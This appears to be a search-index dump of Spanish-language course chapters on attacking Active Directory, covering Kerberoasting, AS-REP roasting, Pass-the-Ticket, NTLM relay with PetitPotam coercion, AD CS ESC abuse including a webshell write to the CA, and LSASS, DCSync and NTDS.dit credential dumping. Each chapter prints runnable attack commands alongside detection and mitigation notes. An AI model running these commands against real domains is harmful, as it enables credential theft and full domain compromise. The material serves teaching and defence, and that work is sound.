--\u003e|\"4768: AS-REQ sin pre-auth\"| C[\"AS-REP Roasting\"] B --\u003e D[\"Crack offline\\nhashcat -m 13100/19600/19700\"] C --\u003e D2[\"Crack offline\\nhashcat -m 18200\"] D --\u003e E[\"Contraseña de cuenta\\nde servicio\"] D2 --\u003e E E --\u003e|\"NT hash\"| F[\"Pass-the-Hash /\\nOverPass-the-Hash\"] F --\u003e G[\"Acceso lateral con\\nidentidad legítima\"] G --\u003e H[\"Dump de LSASS / DCSync\\n(ver 4.5)\"] H --\u003e I[\"Hash de krbtgt\"] I --\u003e J[\"Golden Ticket\"] I --\u003e K[\"Diamond / Sapphire Ticket\"] J --\u003e L[\"Persistencia de dominio\\n(ver 4.9)\"] K --\u003e LReutilización de tickets: Pass-the-Ticket La forma más directa de abusar de Kerberos ni siquiera requiere craquear nada: si un ticket —propio o robado— ya existe en disco o en memoria, inyectarlo en la sesión actual alcanza. Esto es Pass-the-Ticket (PTT para .kirbi, PTC para .ccache), y su mecánica es la contracara exacta del modelo de posesión descrito arriba. Un ejemplo mínimo sobre un dominio ya comprometido: con Mimikatz, kerberos::list enumera los tickets presentes en la máquina y kerberos::list /export los guarda como .kirbi; con uno de esos archivos, kerberos::ptt ticket.kirbi seguido de una nueva consola (misc::cmd) deja a esa consola operando con la identidad completa del ticket inyectado — sin conocer la contraseña de esa cuenta en ningún momento. El equivalente en el ecosistema Impacket usa .ccache: export KRB5CCNAME=administrator.ccache antes de invocar cualquier herramienta que hable Kerberos (psexec.py -k -no-pass, crackmapexec --use-kcache) logra el mismo efecto.\n# Mimikatz — exportar y reinyectar un ticket robado de la sesión actual kerberos::list /export kerberos::ptt ticket.kirbi misc::cmd # Impacket — variante .ccache export KRB5CCNAME=/tmp/administrator.ccache psexec.py -k -no-pass -dc-ip \u003cIP-DC\u003e AD/administrator@\u003chost\u003e Kerberoasting: craquear lo que cualquiera puede pedir Kerberoasting explota una decisión de diseño de Kerberos que, vista con ojos ofensivos, es casi un regalo: cualquier usuario autenticado del dominio puede pedir un Service Ticket para cualquier SPN (Service Principal Name, el identificador de un servicio en el directorio, por ejemplo MSSQLSvc/sql01.corp.local), sin que eso requiera privilegio alguno. Ese ST viaja cifrado con el hash de la contraseña de la cuenta que corre el servicio — no con la del usuario que lo pidió. Un atacante con una sola cuenta de dominio válida, sin ningún privilegio adicional, puede entonces solicitar los ST de todas las cuentas con SPN registrado y craquear esos hashes offline, sin generar ningún intento de login fallido contra la cuenta objetivo.\n# Enumerar y pedir tickets de servicio (Impacket) GetUserSPNs.py corp.local/usuario:contraseña -dc-ip \u003cIP-DC\u003e -request # Rubeus: /rc4opsec solo pide RC4 a las cuentas sin AES (evita la anomalía) Rubeus.exe kerberoast /rc4opsec # por defecto pide el etype que cada cuenta soporta (AES si está habilitado) Rubeus.exe kerberoast # Crack offline según el tipo de cifrado del ticket hashcat -m 13100 hashes.txt wordlist.txt # RC4 ($krb5tgs$23$) hashcat -m 19600 hashes.txt wordlist.txt # AES128 hashcat -m 19700 hashes.txt wordlist.txt # AES256 El cifrado del ticket importa para la viabilidad del crackeo: un hash $krb5tgs$23$... es etype 23, RC4, derivado directamente de la contraseña de la cuenta de servicio y por lo tanto mucho más rápido de craquear que un equivalente AES. Herramientas como Rubeus explotan esto pidiendo deliberadamente RC4 cuando la cuenta lo permite (/rc4opsec comprueba primero qué etypes soporta cada cuenta para no llamar la atención pidiendo RC4 a una cuenta que normalmente usaría AES). La mitigación estructural es simple de enunciar y difícil de operar en la práctica: contraseñas de más de 32 caracteres en toda cuenta con SPN, o mejor, migrar esas cuentas a group Managed Service Accounts (gMSA), cuya contraseña la rota el propio dominio y nunca la conoce ningún humano.\nAS-REP Roasting y variantes: el ataque que ni siquiera necesita una cuenta Si Kerberoasting requiere una cuenta de dominio válida, AS-REP Roasting baja la barrera todavía más: apunta a cuentas configuradas con el flag DONT_REQ_PREAUTH (pre-autenticación Kerberos deshabilitada), una opción legada por compatibilidad con implementaciones antiguas del protocolo. Contra esas cuentas, cualquiera puede pedir un AS-REP —la respuesta del AS-Exchange— sin demostrar conocer la contraseña primero, y una porción de esa respuesta viene cifrada con el hash de la cuenta objetivo, craqueable offline exactamente igual que un ticket de servicio.\n# Enumerar cuentas sin pre-autenticación e intentar el roast (Impacket) GetNPUsers.py corp.local/ -no-pass -usersfile usuarios.txt # Rubeus Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt # Crack offline hashcat -m 18200 hashes.txt wordlist.txt # $krb5asrep$23$ Dos primos de este ataque valen mención breve porque comparten la misma lógica de “romper la pre-autenticación”: CVE-2022-33679 fuerza un downgrade de cifrado a RC4-MD4 contra cuentas sin pre-auth, y es explotable sin ninguna autenticación previa — la vulnerabilidad más severa de la familia porque no exige ni siquiera un usuario válido conocido. Timeroasting es más una curiosidad de nicho: abusa del servicio NTP de un controlador de dominio para obtener, a partir del RID de una cuenta de máquina, un hash craqueable sin autenticarse — útil en escenarios donde el resto de la superficie Kerberos está bien cerrada pero NTP quedó expuesto.\nKerberoasting y AS-REP Roasting no dejan ningún intento de login fallido: la respuesta craqueable se obtiene en una interacción legítima con el KDC. La detección no puede depender de contadores de fallos — tiene que mirar la telemetría de emisión de tickets en sí misma (ver la sección de defensa más abajo). De un hash a un ticket: Pass-the-Hash y OverPass-the-Hash Una vez cra","section":"P4 · Active Directory e Identidad","summary":"Cómo se abusa de Kerberos en Active Directory: Kerberoasting, AS-REP Roasting, Pass-the-Ticket/Hash y la familia de tickets forjados Golden/Silver/Diamond/Sapphire, con su detección. Incluye los internals del protocolo —la clave RC4 como NT hash, la estructura del PAC y sus firmas, y la validación del PAC que faltaba— que explican por qué la familia entera funciona y que anclan la mitigación estructural (PAC signature enforcement, noPac).","tags":["kerberos","active-directory","credential-access","deteccion"],"title":"4.2 · Kerberos: Kerberoasting, AS-REP y tickets forjados","url":"/speculum/p4-active-directory/4-2-kerberos/"},{"content":"Panorama NTLM (NT LAN Manager) es el protocolo de autenticación heredado que Active Directory arrastra desde antes de Kerberos y que, por compatibilidad, sigue activo en casi todos los dominios. Su debilidad no es un bug puntual sino un rasgo de diseño: es un protocolo de desafío/respuesta (challenge/response) donde el servidor envía un desafío aleatorio, el cliente lo cifra con un derivado del hash de su contraseña y devuelve esa respuesta. Esa respuesta —el Net-NTLM hash— tiene dos propiedades que la vuelven peligrosa. Primero, se puede capturar de la red y craquear offline para recuperar la contraseña. Segundo, y mucho más grave, se puede retransmitir (relay) a un tercer servicio sin conocer nunca la contraseña: como la respuesta prueba la identidad del cliente ante cualquier servidor que use el mismo desafío, un atacante en el medio la reenvía a un objetivo distinto y se autentica como la víctima sin haber craqueado nada.\nConviene separar dos hashes que suelen confundirse. El NT hash es el secreto almacenado, derivado de la contraseña, y sirve para Pass-the-Hash (ver 4.2 · Kerberos y 4.5 · Credential dumping). El Net-NTLM hash es la respuesta de red de una autenticación concreta: no sirve para Pass-the-Hash, pero sí para craqueo offline o para relay en vivo. Este capítulo cubre cómo se capturan los Net-NTLM de la red, cómo se retransmiten a servicios que no exigen signing, y cómo la coerción obliga a máquinas privilegiadas —incluido un controlador de dominio— a entregar su autenticación. El punto de partida es el mapa del dominio de 4.1 · Reconocimiento de AD; el punto de llegada, con frecuencia, es la creación de una cuenta de máquina con delegación (ver 4.6 · Delegación y trusts) o el DCSync de 4.5 · Credential dumping.\nflowchart LR A[\"Sin credenciales\"] --\u003e B{\"Obtener una\\nautenticación NTLM\"} B --\u003e|\"LLMNR/NBT-NS/mDNS\\n(Responder)\"| C[\"Net-NTLMv2 capturado\"] B --\u003e|\"Coerción:\\nPetitPotam / SpoolSample\"| D[\"Auth de una cuenta\\nde máquina (incl. DC)\"] C --\u003e E{\"¿Craquear o\\nrelayear?\"} D --\u003e F[\"Relay NTLM\\n(ntlmrelayx)\"] E --\u003e|\"contraseña débil\"| G[\"Crack offline\\nhashcat -m 5600\"] E --\u003e|\"hash fuerte\"| F F --\u003e|\"LDAP signing off\"| H[\"Crear cuenta de máquina\\n→ RBCD (ver 4.6)\"] F --\u003e|\"SMB signing off\"| I[\"Volcar SAM /\\nproxy SOCKS\"] F --\u003e|\"Drop the MIC\\nSMB→LDAP\"| J[\"DCSync (ver 4.5)\"]Capturar el Net-NTLM: v1 y v2 La captura empieza por un envenenamiento de resolución de nombres. Cuando un equipo Windows no logra resolver un nombre por DNS, recurre a protocolos de fallback —LLMNR (Link-Local Multicast Name Resolution), mDNS y NBT-NS (NetBIOS Name Service)— que preguntan “¿quién es este nombre?” por multicast a toda la red local. Responder (o su equivalente en Windows, Inveigh) responde a esas preguntas fallidas afirmando ser el recurso buscado, con lo que la víctima intenta autenticarse contra el atacante y filtra su Net-NTLMv2 hash, craqueable offline.\n$ # Envenenar LLMNR/mDNS/NBT-NS y capturar (Linux) sudo responder -I eth0 -wfrd -P -v # Equivalente en Windows .\\inveighzero.exe -FileOutput Y -NBNS Y -mDNS Y -Proxy Y -MachineAccounts Y # Crack offline del Net-NTLMv2 hashcat -m 5600 hashes.txt wordlist.txt ⧉ copiar La versión Net-NTLMv1 es un objetivo mucho más valioso cuando aparece, porque se deriva del NT hash con DES —criptografía débil— y, si se captura con un desafío fijo conocido, permite recuperar el NT hash directo (no la contraseña, sino el hash reutilizable para Pass-the-Hash). El truco es forzar a la víctima a usar v1 y configurar Responder con el desafío mágico 1122334455667788: contra ese valor constante existen tablas precomputadas (crack.sh) que devuelven el NT hash en minutos. La v1 solo está disponible si el nivel de compatibilidad LAN Manager de la víctima lo permite (LmCompatibilityLevel = 0x1), condición cada vez más rara en entornos modernos pero todavía presente en equipos y dispositivos heredados.\nEl desafío fijo 1122334455667788 no es una elección arbitraria: es el valor por defecto que Responder usa para habilitar las tablas precomputadas de crack.sh. Su presencia en el tráfico de red es, por eso mismo, una firma directa e inequívoca de un ataque con Responder — un detalle que la sección de defensa aprovecha. El relay: retransmitir en lugar de craquear Craquear un Net-NTLM depende de que la contraseña sea débil y puede tardar horas o no terminar nunca. El relay elimina esa dependencia: toma la autenticación capturada y la reenvía en vivo a otro servicio, sin craquear nada, con la única condición de que el servicio de destino no exija signing (la firma criptográfica que ata una sesión autenticada a su canal original y así impide la retransmisión). El problema es que ese signing viene desactivado o no requerido por defecto en las configuraciones que más importan, de modo que un atacante sin ninguna credencial puede inyectarse en el dominio aprovechando nada más que los valores de fábrica.\nLa herramienta central es ntlmrelayx (de Impacket), que recibe la autenticación de Responder —configurado para no responder él mismo a SMB/HTTP, sino cedérsela al relay— y la dirige a un objetivo. Los dos destinos canónicos son LDAP y SMB:\n$ # Relay a LDAP: crear una cuenta de máquina controlada # (requiere LDAP signing \"not required\" + channel binding \"disabled\" + MachineAccountQuota \u003e= 1) sudo ntlmrelayx.py -t ldaps://\u003cIP-DC\u003e --add-computer # Relay a SMB: volcar el SAM de los objetivos, o levantar un proxy SOCKS impacket-ntlmrelayx -tf targets.txt # vuelca el SAM impacket-ntlmrelayx -tf targets.txt -socks -smb2support # proxy SOCKS de las sesiones proxychains impacket-smbclient //\u003cIP\u003e/Users -U corp/usuario ⧉ copiar La creación de cuentas de máquina exige LDAP sobre TLS (LDAPS), de ahí el ldaps://. Una vez creada la cuenta controlada, se le puede configurar Resource-Based Constrained Delegation (RBCD) para impersonar a un administrador contra un objetivo — la cadena completa se desarrolla en 4.6 · Delegación y trusts. El relay a LDAP también es el vector de varios de los escenarios de AD CS de 4.4 · Active Directory Certificate Services, donde la autenticación relayeada se usa contra una autoridad certificadora vulnerable.\nCoerción: fabricar la víctima El envenenamiento LLMNR captura autenticaciones oportunistas, pero las cuentas más valiosas —las de máquina de un DC— no suelen resolver nombres al azar. La coerción (coercion) resuelve eso: obliga a un host concreto a autenticarse contra el atacante bajo demanda, abusando de servicios RPC que aceptan una ruta UNC controlada. PetitPotam abusa de MS-EFSRPC (el servicio de cifrado de archivos), SpoolSample / printerbug abusa del Print Spooler, y el truco WebClient fuerza autenticación por HTTP en vez de SMB. Cualquiera de ellos convierte “no tengo nada” en “el DC se está autenticando contra mí ahora mismo”, y esa autenticación coaccionada es la que se relaya.\n$ # Coerción vía MS-EFSRPC — el DC se autentica contra el listener del atacante PetitPotam.py -u usuario -p 'contraseña' -d corp.local -dc-ip \u003cIP-DC\u003e \u003cIP-atacante\u003e \u003cIP-DC\u003e # Coerción vía Print Spooler printerbug.py corp.local/usuario@\u003cIP-DC\u003e \u003cIP-atacante\u003e ⧉ copiar La combinación coerción + relay a LDAP + RBCD es la ruta clásica de “sin credenciales a Domain Admin”: no requiere craquear ni una sola contraseña, solo que el signing no esté endurecido. Cuando se coacciona a un controlador de dominio y su autenticación se relaya a LDAP, el resultado puede ser DCSync directo. Por eso el signing de LDAP y SMB no es un ajuste opcional de robustez: es la barrera que separa un dominio íntegro de un compromiso total con cuenta cero. Sorteando las protecciones Cuando el signing está parcialmente configurado, existen variantes que abren el relay igualmente:\nDrop the MIC (CVE-2019-1040). El paquete NTLM incluye un MIC (Message Integrity Code) que debería impedir modificarlo. Esta vulnerabilidad permite alterar el paquete —removiendo los flags que bloquean el relay de SMB a LDAP— sin invalidar su integridad. Encadenado con la coerción del spooler y --e","section":"P4 · Active Directory e Identidad","summary":"La debilidad estructural de NTLM en la red: captura de Net-NTLMv1/v2, relay a LDAP/SMB sin craquear nada, coerción con PetitPotam/SpoolSample y las variantes que sortean el signing (Drop the MIC, mitm6), con su detección. Incluye los internals de SSPI —el intercambio de tres tokens, la disociación entre la capa lógica y la de red como causa raíz del relay, el MIC que protege integridad pero no dirección, el double-hop problem y el channel binding/target name opt-in— que explican por qué el relay es estructural y no un bug parcheable.","tags":["ntlm","active-directory","relay","credential-access","lateral-movement","deteccion"],"title":"4.3 · NTLM: captura, relay y coerción","url":"/speculum/p4-active-directory/4-3-ntlm-relay/"},{"content":"Panorama Active Directory Certificate Services (AD CS) es la PKI (Public Key Infrastructure, la infraestructura de clave pública) del dominio: el rol de Windows Server que emite y gestiona los certificados con los que usuarios y máquinas se autentican, cifran archivos o firman código. Es un componente de confianza por diseño, y ahí está el problema. Un certificado de cliente es una credencial de pleno derecho: mediante PKINIT —la extensión de Kerberos que permite el arranque de sesión con criptografía de clave pública en lugar de una contraseña— un certificado válido se canjea por un TGT (Ticket Granting Ticket), y con ese TGT el titular es, a todos los efectos, el usuario que el certificado representa. Si un atacante consigue que la autoridad certificadora (CA, Certificate Authority) emita un certificado a nombre de un administrador de dominio, obtiene Domain Admin sin tocar una sola contraseña.\nEsa es la razón por la que AD CS se convirtió, desde la investigación de SpecterOps de 2021, en una de las rutas preferidas a la toma del dominio. Es una ruta limpia, porque un certificado es autenticación legítima y su uso no dispara las alarmas de un volcado de credenciales; y es una ruta persistente, porque un certificado sobrevive al cambio de contraseña del usuario que representa. El cheat-sheet de origen lo dice sin rodeos: “estos certificados seguirán siendo usables incluso si el usuario o la máquina resetea su contraseña”. Un certificado robado o forjado concede acceso durante toda su vigencia —años— e inmune a la rotación de contraseñas, la forma de persistencia sigilosa por excelencia.\nSpecterOps catalogó las configuraciones débiles de AD CS con la nomenclatura ESC (ESCalation), de ESC1 a ESC11. Conviene no memorizarlas como once ataques distintos sino verlas convergiendo sobre un eje: casi todas buscan que la CA emita un certificado cuyo Subject Alternative Name (SAN, el campo que declara la identidad del titular) sea un usuario privilegiado que el atacante no controla. El punto de partida es el mapa del dominio de 4.1 · Reconocimiento de AD —BloodHound ya modela las aristas de AD CS— y, para la ruta sin credenciales, la coerción y el relay de 4.3 · NTLM: captura, relay y coerción. El punto de llegada es un TGT privilegiado y, con frecuencia, el DCSync de 4.5 · Credential dumping.\nflowchart TD A[\"Enumerar AD CS\\n(Certify / certipy find)\"] --\u003e B{\"¿Qué misconfiguración\\naparece?\"} B --\u003e|\"Plantilla con\\nENROLLEE_SUPPLIES_SUBJECT\"| C[\"ESC1: pedir cert\\ncon SAN = Domain Admin\"] B --\u003e|\"Flag EDITF_...SAN2\\nen la CA\"| D[\"ESC6: SAN arbitrario\\nen cualquier plantilla\"] B --\u003e|\"Control sobre la\\nplantilla o la CA\"| E[\"ESC4 / ESC7:\\nreconfigurar → ESC1\"] B --\u003e|\"Web Enrollment\\npor HTTP\"| F[\"ESC8: coerción (4.3)\\n+ relay al endpoint\"] C --\u003e G[\"Certificado a nombre\\nde un DA\"] D --\u003e G E --\u003e G F --\u003e H[\"Certificado del DC\"] G --\u003e I[\"PKINIT: cert → TGT\\n(Rubeus asktgt /certipy auth)\"] H --\u003e I I --\u003e J[\"Autenticado como el titular\\n→ DCSync (4.5)\"]Enumerar la PKI: hallar plantillas vulnerables antes que el adversario La primera acción, tanto en ofensiva como en defensa, es inventariar la PKI y sus plantillas para ver qué ESC están presentes. Las mismas herramientas sirven a ambos lados: Certify (en Windows) y certipy (en Linux) recorren las plantillas de certificado, sus EKU (Extended Key Usage, los usos que el certificado habilita) y sus permisos de enrolamiento, y marcan las combinaciones explotables. Correr esta enumeración uno mismo es la defensa primaria, porque convierte una superficie invisible en una lista concreta de plantillas a corregir.\n$ # Descubrir AD CS y plantillas vulnerables (defensa y ofensiva usan lo mismo) crackmapexec ldap dominio.local -u usuario -p 'contraseña' -M adcs # Windows Certify.exe find /vulnerable # Linux — genera además un grafo para BloodHound certipy find -u usuario@dominio.local -p 'contraseña' -dc-ip \u003cIP-DC\u003e -vulnerable -stdout certipy find -u usuario@dominio.local -p 'contraseña' -dc-ip \u003cIP-DC\u003e -bloodhound ⧉ copiar El SAN arbitrario: la falla central de la familia ESC La mayoría de los ESC son variaciones sobre una sola idea: conseguir que el certificado emitido declare un Subject Alternative Name que el atacante elige, en vez del que le corresponde. Si el SAN dice administrator@dominio.local, el certificado autentica como el administrador. Lo que cambia entre un ESC y otro es cómo se logra que la CA acepte ese SAN falso.\nESC1 es el caso canónico. Una plantilla de autenticación de cliente marcada con el flag ENROLLEE_SUPPLIES_SUBJECT deja que el solicitante fije el subject —y con él el SAN— libremente. Si además el atacante tiene permiso de enrolamiento sobre esa plantilla, pide un certificado especificando el SAN de un Domain Admin y se autentica como él. Basta una sola solicitud.\n$ # ESC1 — pedir un cert con SAN arbitrario y canjearlo por un TGT # Windows Certify.exe request /ca:dc.dominio.local\\dominio-DC-CA /template:VulnTemplate /altname:Administrator Rubeus.exe asktgt /user:Administrator /certificate:C:\\Temp\\cert.pfx /ptt # Linux certipy req 'dominio.local/john:Passw0rd!@ca.dominio.local' -ca 'dominio-DC-CA' \\ -template VulnTemplate -upn administrator@dominio.local certipy auth -pfx administrator.pfx -dc-ip \u003cIP-DC\u003e ⧉ copiar El resto de la familia del SAN son variantes del mismo desenlace por otras vías:\nESC2 — la plantilla tiene un EKU Any Purpose (2.5.29.37.0), que la habilita para autenticación de cliente entre otros usos; se explota igual que ESC1. ESC3 — la plantilla concede el EKU Enrollment Agent, que autoriza a pedir certificados en nombre de otros. El atacante obtiene primero su certificado de agente y luego solicita, con él, un certificado a nombre de un administrador. ESC4 — el atacante no controla una plantilla vulnerable, pero sí tiene permiso de escritura (WriteProperty) sobre alguna plantilla. La reconfigura para agregarle ENROLLEE_SUPPLIES_SUBJECT, la explota como ESC1, y la restaura para borrar rastros. Es ESC1 fabricado a demanda. ESC6 — el flag EDITF_ATTRIBUTESUBJECTALTNAME2 está activo en la CA misma. Ese flag habilita el SAN definido por el usuario en cualquier plantilla, no solo en las mal configuradas, de modo que convierte a toda plantilla de autenticación en un ESC1. ESC7 — el atacante tiene permisos de gestión sobre la CA (ManageCA o Manage Certificates). Con ellos puede habilitar el flag de ESC6, aprobar sus propias solicitudes pendientes, o —lo más grave— escribir un webshell en el servidor de AD CS, es decir ejecución remota de código sobre la CA. $ # ESC7 — con ManageCA: habilitar SAN arbitrario, o RCE por webshell Certify.exe setconfig /enablesan /restart Certify.exe request /ca:SERVER\\ca-name /template:User /altname:Administrator # ManageCA → RCE sobre el servidor de la CA Certify.exe writefile /ca:SERVER\\ca-name /path:c:\\inetpub\\wwwroot\\shell.asp ⧉ copiar La técnica del SAN arbitrario tiene un rasgo que la hace especialmente peligrosa como persistencia: el certificado emitido no está atado a la contraseña de la víctima. Un equipo azul que ante un compromiso resetea las contraseñas de las cuentas privilegiadas —el reflejo correcto contra Pass-the-Hash o Kerberoasting— no cierra esta puerta. El certificado sigue siendo válido y usable hasta que expira o se revoca explícitamente. La respuesta a un incidente de AD CS debe incluir la revocación de certificados, no solo la rotación de contraseñas. La ruta sin credenciales: coerción y relay a AD CS (ESC8 y ESC11) Los ESC anteriores parten de una cuenta de dominio con permiso de enrolamiento. ESC8 elimina incluso ese requisito: no necesita ninguna credencial, solo la combinación de coerción y relay de 4.3 · NTLM. La condición es que la CA exponga su interfaz de enrolamiento web (Web Enrollment) sobre HTTP, un endpoint que por defecto no exige channel binding. El atacante coacciona a un controlador de dominio con PetitPotam para que se autentique contra él, y con ntlmrelayx retransmite esa autenticación al endpoint web de la CA para enrolar un cer","section":"P4 · Active Directory e Identidad","summary":"La PKI del dominio como ruta limpia a Domain Admin: la familia ESC1–ESC11, el SAN arbitrario como falla central, la ruta sin credenciales por coerción y relay (ESC8/ESC11), Certifried, y las técnicas PKINIT transversales —Pass-the-Certificate, UnPAC-the-Hash y Shadow Credentials— con su detección.","tags":["adcs","pki","active-directory","privilege-escalation","persistence","credential-access","deteccion"],"title":"4.4 · AD CS: escalada por certificados (ESC1–ESC11)","url":"/speculum/p4-active-directory/4-4-adcs/"},{"content":"Panorama Credential dumping —el volcado de credenciales— es la fase de la post-explotación donde el atacante, tras haber comprometido un equipo, extrae el material de autenticación que ese equipo guarda para reutilizarlo: reautenticarse, moverse lateralmente y escalar hacia el control del dominio. Es el pivote central de un compromiso de Active Directory, porque casi todas las técnicas de las Partes vecinas —el Pass-the-Hash de 4.2 · Kerberos, el forjado de tickets, el Pass-the-Ticket de 4.8 · Movimiento lateral— consumen credenciales que provienen de aquí.\nConviene distinguir dos depósitos de credenciales con alcances muy distintos. El primero es LSASS (Local Security Authority Subsystem Service, el proceso lsass.exe), que en cada equipo Windows cachea en memoria el material de autenticación de todas las sesiones activas de esa máquina para habilitar el inicio de sesión único. Volcar LSASS rinde las credenciales de quien haya iniciado sesión en ese host. El segundo es NTDS.dit, el archivo que en un controlador de dominio almacena los hashes NTLM de todo el dominio, más una réplica de la configuración del bosque. Volcar NTDS.dit es el objetivo terminal: con el hash de la cuenta krbtgt se forjan Golden Tickets (ver 4.2 · Kerberos) y con la base entera se persiste indefinidamente. La elección de vía depende de dónde está parado el atacante y qué privilegios reunió con el recon de 4.1 · Reconocimiento de AD.\nflowchart TD A[\"Equipo comprometido\"] --\u003e B{\"¿Qué acceso\\ntengo?\"} B --\u003e|\"Shell interactiva\\nen un host\"| C[\"Volcado local de LSASS\\n(comsvcs / ProcDump)\"] B --\u003e|\"Admin remoto\\nsobre un host\"| D[\"Volcado remoto de LSASS\\n(lsassy / nxc --lsa)\"] B --\u003e|\"Derechos de replicación\\nsobre el dominio\"| E[\"DCSync (MS-DRSR)\\nsin tocar disco\"] B --\u003e|\"Admin local en el DC\\nsin derechos de replicación\"| F[\"Copiar NTDS.dit + SYSTEM\\n(VSS / ntdsutil ifm)\"] C --\u003e G[\"Parseo offline\\n(pypykatz)\"] D --\u003e G E --\u003e H[\"Hashes del dominio entero\\n(incl. krbtgt)\"] F --\u003e H G --\u003e I[\"Hashes NT, tickets,\\ncontraseñas en claro\"] H --\u003e J[\"Golden Ticket (4.2),\\npersistencia, crackeo\"] I --\u003e JVolcado de LSASS: el tesoro de una máquina LSASS concentra todo el valor de un host porque unifica, en un solo proceso, cada formato de credencial de las sesiones activas: hashes NT (para Pass-the-Hash), tickets de Kerberos (para Pass-the-Ticket), claves maestras DPAPI (el subsistema de protección de datos de Windows) y, en sistemas heredados con WDigest activo, incluso contraseñas en texto claro. Esa concentración es también su punto débil defensivo: proteger un solo proceso mitiga muchos vectores a la vez. En un controlador de dominio, donde han iniciado sesión administradores de dominio y cuentas de servicio, un volcado de LSASS puede rendir el dominio completo.\nLas técnicas se dividen según el acceso que exigen y el rastro que dejan. Las remotas parten de credenciales de administrador sobre el objetivo y operan por SMB/WMI/RPC, dejando rastro en la red; las locales exigen una shell interactiva y dejan rastro en el host —un archivo .dmp y su transferencia—. El analista defensivo elige el punto de telemetría según cuál espera.\n$ # Remoto — un solo comando conecta por SMB, vuelca y parsea lsassy -u administrator -p 'contraseña' -d dominio.local \u003cIP-objetivo\u003e nxc smb \u003cIP-objetivo\u003e -u administrator -p 'contraseña' --lsa # LSA secrets del registro nxc smb \u003cIP-objetivo\u003e -u administrator -p 'contraseña' -M nanodump # dumper evasivo integrado # Local, fileless — comsvcs.dll (DLL firmada de Microsoft) volca LSASS por su PID Get-Process lsass # obtener el PID (p. ej. 636) rundll32.exe C:\\Windows\\System32\\comsvcs.dll, MiniDump 636 C:\\mem.dmp full # Parseo offline del volcado (implementación Python de sekurlsa) pypykatz lsa minidump lsass.dmp ⧉ copiar Dos matices operativos importan para entender la detección que sigue. Primero, la evasión se juega en cómo se genera el volcado: nanodump usa syscalls indirectas y manipulación de memoria para eludir el AV/EDR, mientras que las vías con binarios firmados de Microsoft —Process Explorer, ProcDump, la propia comsvcs.dll— buscan pasar por actividad legítima. El uso de comsvcs.dll vía rundll32 es además fileless: no sube ninguna herramienta, solo abusa de binarios ya presentes en el sistema (LOLBins, living-off-the-land binaries). Segundo, un caso aparte es secretsdump de Impacket, que no toca LSASS en absoluto: obtiene los hashes por el protocolo de replicación de dominio, la técnica que la siguiente sección desarrolla.\nimpacket-secretsdump es cualitativamente distinto del resto de las herramientas remotas: no ejecuta ningún binario en el objetivo ni lee su LSASS, sino que abusa de DRSUAPI (DCSync) para pedir los hashes como si fuera otro controlador de dominio. Por eso su detección no es de endpoint sino de red — una máquina que no es DC ejecutando DsGetNCChanges. Es la bisagra que conecta el volcado de LSASS con el saqueo de NTDS.dit. NTDS.dit y DCSync: saquear la base del dominio Con privilegios sobre el dominio, el objetivo deja de ser un host y pasa a ser la base de credenciales entera. Hay dos vías de extracción, y la diferencia entre ellas es puro sigilo.\nLa vía remota y silenciosa es DCSync. Su poder está en que no roba ningún archivo: se hace pasar por un controlador de dominio. El protocolo de replicación de directorio de Microsoft (MS-DRSR) permite que un DC le pida a otro que le “replique” los secretos de una cuenta —o de todas— como parte del funcionamiento normal de un dominio con varios controladores. Cualquier cuenta que posea los derechos de replicación DS-Replication-Get-Changes y DS-Replication-Get-Changes-All sobre el objeto de dominio puede ejecutar esa misma operación y recibir los hashes directamente, sin tocar NTDS.dit en disco y sin ejecutar código en el DC. Esos derechos suelen acumularlos las aristas de ACL que mapea BloodHound en 4.1 · Reconocimiento de AD, y son el desenlace habitual de la ruta de 4.4 · AD CS (un TGT del DC vía ESC8) o del relay de 4.3 · NTLM.\n$ # DCSync — pedir secretos al DC simulando ser otro DC (requiere derechos de replicación) mimikatz # lsadump::dcsync /domain:dominio.local /user:krbtgt # el hash de krbtgt = Golden Ticket mimikatz # lsadump::dcsync /domain:dominio.local /all /csv # todo el dominio impacket-secretsdump dominio.local/usuario:'contraseña'@\u003cIP-DC\u003e # DCSync vía DRSUAPI ⧉ copiar La nota OPSEC del material de origen es la clave defensiva de toda esta técnica: “la replicación siempre ocurre entre dos computadoras; un DCSync desde una cuenta de usuario puede levantar alertas”. La replicación legítima la originan controladores de dominio entre sí; un DsGetNCChanges cuyo origen es una cuenta de usuario o una máquina que no es DC es anómalo por definición, y ese es exactamente el gancho de detección de la sección de defensa. La vía local aplica cuando el atacante ya tiene administración sobre el DC pero no los derechos de replicación: copiar NTDS.dit directamente. El obstáculo es que el archivo está siempre en uso y bloqueado, así que no se puede copiar en caliente. La solución abusa de Volume Shadow Copy (VSS), el servicio de instantáneas de Windows pensado para backup: toma un snapshot consistente del volumen y copia NTDS.dit desde él. Con una salvedad imprescindible: NTDS.dit está cifrado con la SYSKEY del sistema, guardada en la hive SYSTEM del registro, de modo que siempre hay que llevarse también SYSTEM —sin la SYSKEY, los hashes extraídos son inservibles—.\n$ # Copia local sorteando el bloqueo del archivo (VSS) vssadmin create shadow /for=C: copy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\Windows\\NTDS\\NTDS.dit C:\\Shadow\\ copy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\Windows\\System32\\config\\SYSTEM C:\\Shadow\\ ntdsutil \"ac i ntds\" \"ifm\" \"create full c:\\temp\" q q # empaqueta NTDS.dit + SYSTEM de una # Extracción offline de los hashes (necesita ambos archivos) secretsdump.py -system SYSTEM -ntds NTDS.dit LOCAL ⧉ copiar Dos regalos de configuración: reversible encryption y el crackeo El mat","section":"P4 · Active Directory e Identidad","summary":"La extracción de credenciales tras el compromiso: el volcado de LSASS en memoria (remoto y local, con su evasión), el saqueo de la base entera del dominio por DCSync o copia de NTDS.dit, el regalo de la reversible encryption y el crackeo offline — con la detección que cada vía delata.","tags":["credential-access","active-directory","dcsync","lsass","privilege-escalation","deteccion"],"title":"4.5 · Credential dumping: LSASS, NTDS.dit y DCSync","url":"/speculum/p4-active-directory/4-5-credential-dumping/"},{"content":"Panorama Un dominio de Active Directory no es un límite de seguridad; el bosque lo es. Esta distinción, fácil de pasar por alto, es la que gobierna este capítulo: dos dominios de un mismo bosque confían entre sí de una manera que no admite filtrado, de modo que comprometer un dominio hijo equivale a comprometer el bosque entero. Cruzar a otro bosque, en cambio, exige que una protección concreta —el SID filtering, el filtrado de identificadores de seguridad— esté deshabilitada. Comprender dónde caen esos límites, y qué mecanismos permiten atravesarlos, es el trabajo de la fase final de un compromiso de dominio: cuando el atacante ya reunió privilegios en un dominio (típicamente por las vías de 4.4 · AD CS o 4.5 · Credential dumping) y busca proyectarlos al resto de la 